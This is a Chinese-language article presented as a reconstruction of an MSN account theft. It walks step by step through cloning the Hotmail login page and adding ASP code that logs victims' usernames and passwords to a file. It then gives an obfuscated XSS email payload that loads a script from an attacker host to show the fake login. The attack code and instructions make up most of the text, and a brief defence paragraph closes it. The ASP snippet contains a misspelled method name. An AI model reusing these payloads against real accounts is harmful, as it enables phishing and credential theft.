“跨站入侵”罪案還原：跨站入侵MSN盜號

　　我們根據(jù)網(wǎng)友提供的線索，對他的MSN賬號的丟失進(jìn)行罪案還原，并推理黑客是如何盜取他的MSN賬號的。

　　第一步：黑客先要制作一個和Hotmail登錄界面一樣的偽造網(wǎng)頁。登錄Hotmail的官方網(wǎng)站，然后點(diǎn)擊菜單欄中的“文件”，在彈出的下拉菜單中選擇“另存為”，將網(wǎng)頁保存下來。然后使用Dreamweaver 等網(wǎng)頁編輯程序打開保存下來的網(wǎng)頁（圖1），找到輸入用戶名和密碼的位置，加入下面這段用戶名和密碼的竊取代碼：

　　圖1

　　<%
　　bbsuser =request("bbsuser ")
　　bbspwd =request("bbspwd ")
　　set fs=server.CreateObject("Scripting.FileSystemObject")
　　//開啟文件服務(wù)
　　set file=fs.OpenTaxtFile(server.MapPath("Hotmail.txt"),8,True)
　　//創(chuàng)建打開"Hotmail.txt"
　　file.writeline bbsuser +"----"+ bbspwd
　　//將獲得的用戶名密碼寫入"Hotmail.txt"
　　file.close
　　set file=nothing
　　set fs=nothing
　　%>

　　然后將Hotmail原頁面中的本地鏈接地址和相關(guān)參數(shù)修改，讓圖片都能夠正常顯示，最后將該網(wǎng)頁另存為“index.asp”并上傳到黑客自己的網(wǎng)站。

　　第二步：偽裝頁面做好了，接下來黑客就會制作跨站的Hotmail 電子郵件。一般黑客會選擇可以直接在郵件中編輯HTML代碼的軟件，例如DreamMail。啟動DreamMail后，新建一個支持POP3的電子信箱地址。

　　然后點(diǎn)擊DreamMail菜單欄“查看”中的“切換到豪華版本”選項(xiàng)，又用DreamMail新建一封HTML空白郵件，在郵件的內(nèi)容頁面中點(diǎn)擊右鍵，選擇“編輯HTML源代碼”，在彈出的HTML源代碼編輯窗口中輸入以下XSS跨站代碼：

　　<font color="ffffff">
　　<div id="jmp" style="display:none">nop</div>
　　<div id="ly" style="display:none">function ok(){return true};window.onerror=ok</div>
　　<div id="tip" title="<a style="display:none">" style="display:none"></div>
　　<div id="tap" title="<" style="display:none"></div>
　　<div id="tep" title=">" style="display:none"></div>
　　<style>div{background-image:expression(javascript:1?document.write(EC_tip.title+';top:'+EC_tap.title+'/a'+EC_tep.title+EC_tap.title+'script id=nop'+EC_tep.title+EC_ly.innerHTML+EC_tap.title+'/script'+EC_tep.title+EC_tap.title+'script src=http://www.hacker.cn/test/index.asp?uid=miaodeyu@Hotmail.com'+EC_tep.title+EC_tap.title+'/script'+EC_tep.title):1=1);}</style></font>

　　在這段代碼中，黑客會根據(jù)自己偽裝網(wǎng)頁的地址和電子郵件更改“http://www.hacker.cn/test/index.asp?uid=miaodeyu@Hotmail.com” 鏈接地址。郵件編輯好之后點(diǎn)擊“確定”即可就完成了跨站郵件是制作。

　　第三步：黑客會給自己的這封郵件起一個響亮誘人的名字，然后發(fā)送到受害者的MSN郵箱中，當(dāng)受害者用Hotmail查看這封郵件后，會彈出Hotmail登錄框誘騙你輸入賬號和密碼登錄。受害者警惕性弱，就會在該惡意頁面中輸入賬號和密碼，這些信息沒有發(fā)送到微軟的服務(wù)器上，而是悄悄地發(fā)送到黑客那里了（圖2）。

　　圖2

　　跨站防范方案

　　要防范XSS跨站攻擊，普通用戶除了不要點(diǎn)擊陌生的來信和網(wǎng)絡(luò)鏈接外，最好關(guān)閉瀏覽器的 JavaScript 功能。此外，還可以將IE的安全級別設(shè)置為最高，這樣還可以防止Cookie被盜。網(wǎng)站管理者在制作網(wǎng)頁時，要注意過濾用戶輸入的特殊字符，這樣就可以避免大部分的XSS攻擊了。如果網(wǎng)絡(luò)管理者發(fā)現(xiàn)有針對自己網(wǎng)站的跨站攻擊，就要及時對被跨站的程序進(jìn)行修補(bǔ)。